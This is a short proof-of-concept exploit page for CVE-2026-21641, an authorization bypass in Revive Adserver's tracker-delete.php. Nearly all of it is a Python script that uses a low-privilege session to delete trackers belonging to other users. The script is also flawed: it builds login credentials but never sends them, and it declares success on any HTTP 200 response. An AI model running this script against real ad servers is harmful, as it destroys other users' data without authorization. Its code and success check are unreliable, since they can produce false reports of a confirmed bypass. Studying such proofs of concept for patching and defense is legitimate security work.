CVE-2026-21641 Revive Adserver tracker-delete.php 授权绕过漏洞

# CVE-2026-21641 Authorization Bypass PoC # Revive Adserver tracker-delete.php Unauthorized Tracker Deletion import requests import sys TARGET_URL = "http://target-server/revive-adserver/" def exploit_unauthorized_tracker_deletion(): """ Exploit CVE-2026-21641: Delete trackers owned by other users Requires low-privilege account with tracker deletion permissions """ # Step 1: Authenticate with low-privilege account session = requests.Session() login_data = { "username": "attacker_account", "password": "attacker_password", "action": "login" } # Step 2: Identify target tracker ID owned by another user target_tracker_id = "VICTIM_TRACKER_ID" # Step 3: Send unauthorized delete request delete_url = f"{TARGET_URL}tracker-delete.php" delete_params = { "trackerid": target_tracker_id, "confirm": "1" } # Step 4: Verify deletion (response should indicate success) response = session.get(delete_url, params=delete_params) if "deleted" in response.text.lower() or response.status_code == 200: print(f"[!] Successfully deleted tracker {target_tracker_id}") print(f"[!] Authorization bypass confirmed") else: print("[-] Exploitation failed or tracker not found") if __name__ == "__main__": exploit_unauthorized_tracker_deletion()